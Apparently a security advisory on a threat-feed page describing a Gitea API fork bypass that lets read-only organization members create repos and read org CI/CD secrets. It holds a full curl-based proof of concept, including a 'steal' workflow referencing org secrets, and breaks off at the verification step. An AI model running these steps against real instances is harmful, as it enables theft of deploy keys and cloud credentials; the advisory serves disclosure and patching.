Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration
- When
- Where
- Global (internet)
- Category
- cyber_advisory · go
## Summary The API endpoint `POST /api/v1/repos/{owner}/{repo}/forks` only checks `IsOrgMember()` when a user forks a repository into an organization, but does not check `CanCreateOrgRepo()`. The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with `can_create_org_repo=false` — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure. ## Steps To Reproduce ### 1. Environment setup Start a Gitea instance with Actions enabled: ```bash # docker-compose.yml cat > docker-compose.yml << 'EOF' version: '3' services: gitea: image: gitea/gitea:1.23 container_name: gitea-poc ports: - "3000:3000" volumes: - gitea-data:/data environment: - GITEA__database__DB_TYPE=sqlite3 - GITEA__server__ROOT_URL=http://localhost:3000/ - GITEA__security__INSTALL_LOCK=true - GITEA__actions__ENABLED=true volumes: gitea-data: EOF docker compose up -d # Wait for startup sleep 15 # Create admin user docker exec -u git gitea-poc gitea admin user create \ --admin --username admin --password 'Admin1234!' \ --email admin@example.com --must-change-password=false ``` ### 2. Create the target environment (as admin) ```bash # Get admin token ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \ -u "admin:Admin1234!" -H "Content-Type: application/json" \ -d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])") # Create attacker user curl -s -X POST "http://localhost:3000/api/v1/admin/users" \ -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attacker123!","email":"attacker@example.com","must_change_password":false}' # Create organization curl -s -X POST "http://localhost:3000/api/v1/orgs" \ -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \ -d '{"username":"target-org","visibility":"public"}' # Create a source repository in the org curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \ -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \ -d '{"name":"source-repo","auto_init":true}' # Create a read-only team with can_create_org_repo=false TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \ -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \ -d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])") # Add attacker to the read-only team curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \ -H "Authorization: token $ADMIN_TOKEN" # Add source-repo to the team so attacker can read it curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \ -H "Authorization: token $ADMIN_TOKEN" # Create organization secrets (simulating real CI/CD credentials) curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \ -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \ -d '{"data":"sk-live-test-deploy-key-1234567890abcd"}' curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \ -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \ -d '{"data":"AKIAIOSFODNN7EXAMPLE"}' curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \ -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \ -d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}' ``` ### 3. Register an Actions runner ```bash # Get runner registration token REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token) # Start act_runner (adjust network name if needed) NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}') docker run -d --name act-runner --network "$NETWORK" \ -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \ -e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \ -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \ -v /var/run/docker.sock:/var/run/docker.sock \ gitea/act_runner:latest # Wait for runner registration sleep 15 ``` ### 4. Verify attacker CANNOT create repos in the org (expected: 403) ```bash # Get attacker token ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \ -u "attacker:Attacker123!" -H "Content-Type: application/json" \ -d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])") # Try creating a repo directly — should fail curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \ -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \ -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \ -d '{"name":"should-fail","auto_init":true}' # Expected output: Direct repo creation: HTTP 403 # Verify attacker cannot access org secrets via API curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \ "http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \ -H "Authorization: token $ATTACKER_TOKEN" # Expected output: Access org secrets: HTTP 403 ``` ### 5. Exploit: Fork into the org via API (THE BYPASS) ```bash # Fork the source repo into the org — this should also fail but doesn't FORK_RESULT=$(curl -s -X POST \ "http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \ -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \ -d '{"organization":"target-org","name":"evil-fork"}') echo "$FORK_RESULT" | python3 -c " import sys,json d = json.load(sys.stdin) print(f'Fork created: {d[\"full_name\"]}') print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}') " # Expected output: # Fork created: target-org/evil-fork # Permissions: admin=True, push=True ``` The attacker now has admin+push access to an org-owned repository, despite being in a team with `can_create_org_repo=false`. ### 6. Enable Actions and push exfiltration workflow ```bash # Enable Actions on the fork curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \ -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \ -d '{"has_actions":true}' # Push a workflow that references org secrets WORKFLOW=$(cat << 'WFEOF' name: exfiltrate on: [push] jobs: steal: runs-on: ubuntu-latest steps: - name: Leak org secrets env: DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }} AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }} AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }} run: | echo "=== SECRET EXFILTRATION ===" echo "DEPLOY_KEY length: ${#DEPLOY_KEY}" echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}" echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}" echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..." echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..." echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..." echo "=== END EXFILTRATION ===" WFEOF ) curl -s -X POST \ "http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \ -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \ -d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}" ``` ### 7. Verify secret exfiltration ```bash # Wait for the runner to execute the workflow (60-120 seconds) sleep 90 # Check
Sources
- GitHub Advisory Database ↗ · first seen 2026-06-17 18:08 UTC
Defaxon links out to the original reporting and never republishes article text.
Correlated events
Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.